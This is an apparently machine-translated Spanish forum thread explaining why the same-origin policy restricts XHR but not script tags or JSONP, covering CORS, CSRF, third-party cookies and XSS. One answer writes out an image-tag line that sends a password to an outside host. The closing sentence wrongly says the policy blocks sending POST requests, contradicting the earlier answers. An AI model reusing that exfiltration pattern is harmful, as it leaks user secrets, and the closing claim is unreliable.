¿Cuál es el punto de la regla del mismo dominio para xmlhttprequest cuando las etiquetas de script / JSONP pueden cruzar dominios?

Su premisa es incorrecta. Las etiquetas de script y JSON no pasan por alto la política del mismo origen.

La política del mismo origen dice que evil.com no debería poder leer las respuestas de los recursos arbitrarios en victim.com . Tenga en cuenta que Javascript de evil.com puede desencadenar solicitudes casi arbitrarias para ser enviadas a victim.com (por ejemplo, creando un IFRAME que apunta a http://victim.com/whatever.html ). Sin embargo, el Javascript de evil.com no puede leer el contenido de ese documento: es decir, no puede leer la respuesta a esa solicitud.

Ahora, quizás lo que estás pensando es que evil.com puede pedirle al navegador que cargue código arbitrario desde cualquier lugar en victim.com y luego ejecutarlo con todos los permisos de evil.com . Eso no es un bypass de la política del mismo origen. (Tenga en cuenta también que tiende a ser un riesgo de seguridad, para la parte que está cargando Javascript de sitios de terceros).

Los XHR deben estar restringidos, ya que XHR permite que Javascript no solo active el envío de una solicitud, sino que también permite que Javascript lea la respuesta. La política del mismo origen prohíbe que, para solicitudes de origen cruzado. La política del mismo origen dice que leer la respuesta es algo que solo debería permitirse si la solicitud es del mismo origen que el origen del código Javascript. Por lo tanto, Javascript de evil.com puede emitir un XHR a http://evil.com/doit y leer la respuesta, pero no puede emitir un XHR a http://victim.com/doit y leer la respuesta.

Si desea emitir XHR de origen cruzado, entonces el dominio de destino tendrá que autorizarlo para que le envíe XHR de origen cruzado. Busque en CORS las formas de hacerlo.

No hay "regla del mismo dominio". XHR puede POST o GET a otros dominios, es solo que la respuesta no puede ser leída por el origen solicitante.

JSONP no pasa por alto la misma política de origen. El SOP simplemente dice que las solicitudes anteriores pueden se pueden hacer a otros orígenes, solo que sus respuestas no se pueden leer. JSONP no requiere que se lea la respuesta, simplemente incluye el código de otro dominio para ejecutarse en el contexto del dominio actual. El código no se puede leer, solo se ejecuta en el navegador.

Las solicitudes que pueden causar "efectos secundarios" solo deben hacerse como POST. Al restringir los XHR al mismo dominio en el código del lado del servidor, se pueden detener las acciones JSON POST que no se realizan en el dominio del sitio en el que se encuentra, lo que puede mitigar CSRF . Para que esto sea efectivo, debe haber verificaciones del lado del servidor de Origin encabezado o personalizado, como X-Requested-With , ya que los encabezados personalizados no pueden enviarse a varios dominios sin CORS . Esto se debe a que, si bien la lectura de la respuesta está protegida por la Política del mismo origen , no existe ninguna restricción de la cruz real. La solicitud POST de dominio se realizó en primer lugar.

Con la mayoría de los navegadores modernos es posible desactivar cookies de terceros . Esto evitará los ataques CSRF que se realizan a través de AJAX, asumiendo que el navegador no está enviando cookies configuradas previamente para esos dominios. Chrome parece bloquear completamente las cookies de terceros si la configuración está habilitada: las cookies no se aceptarán ni se enviarán si el dominio es un tercero, algunos navegadores aún pueden enviar las cookies si fueron aceptadas previamente como cookies de origen.

No ayudará en su ejemplo en el que el sitio comprometido puede enviar datos a otro sitio usando <img src="//example.com/?password=1234" /> , sin embargo, un Content Security Policy se puede implementar si desea este comportamiento, ya que las fuentes externas se pueden bloquear en el nivel del navegador.

Hay soporte dentro de CORS para determinar si se aceptan cookies entre dominios ( Access-Control-Allow-Credentials ). Esto también cubre otros métodos de autenticación, en lugar de solo cookies. Nuevamente, esto solo afecta si el dominio solicitante puede leer la respuesta, no si puede hacerse en primer lugar.

TL: DR La misma política de origen evita principalmente la recuperación de información, no el envío.

La Política sobre el mismo origen evita que maliciosa.com use cookies de bank.com para recuperar información confidencial de bank.com. La clave a tener en cuenta es que la Política del mismo origen intenta evitar que un script de malicioso.com no vea todos los datos de bank.com. Una vez que una secuencia de comandos de maliciosa.com tiene los datos, puede telefonear con ellos de muchas maneras diferentes como se describe en la pregunta.

Hay varias maneras en las que un script de malicioso.com puede intentar obtener datos de bank.com, pero la Política del mismo origen lo impide:

1. Un usuario visita malware.com, y una secuencia de comandos intenta realizar una solicitud ajax en bank.com, sin que bank.com establezca los encabezados adecuados (no bajo el control de malicioso.com) la solicitud falla
2. Un usuario visita malware.com y un script intenta cargar una imagen confidencial de bank.com. La solicitud se realiza correctamente y la imagen se carga. Sin embargo, cualquier intento de recuperar los datos de dicha imagen (a través de una url de datos o de otro tipo) se bloquea.
3. Un usuario visita malware.com y un script intenta cargar un script sensible (JSONP o de otro tipo) desde bank.com. Si el script requiere cookies, esto fallará (a menos que bank.com haya configurado los encabezados para permitir esto), si no requiere cookies, ya está disponible para cualquiera.
4. Un usuario visita bank.com y carga un anuncio de malicioso.com en un iframe. Si el iframe está correctamente aislado, el anuncio es como los escenarios mencionados anteriormente y no tiene acceso a ningún contenido de bank.com.

Sin embargo, también hay formas de obtener información que no están prevenidas por la Política del mismo origen y que representan vectores de ataque. El principal es XSS, donde un usuario visita bank.com y bank.com carga un script no empaquetado de malicioso.com. El script de malware.com puede hacer lo que quiera. Los sitios nunca deben realizar solicitudes JSONP a sitios en los que no confían, ni deben permitir que las etiquetas de script se incrusten en las páginas a partir de los comentarios del usuario.

Además, la Política del mismo origen evita el envío de solicitudes POST (o cualquier otra cosa que no sean las solicitudes GET u OPTIONS).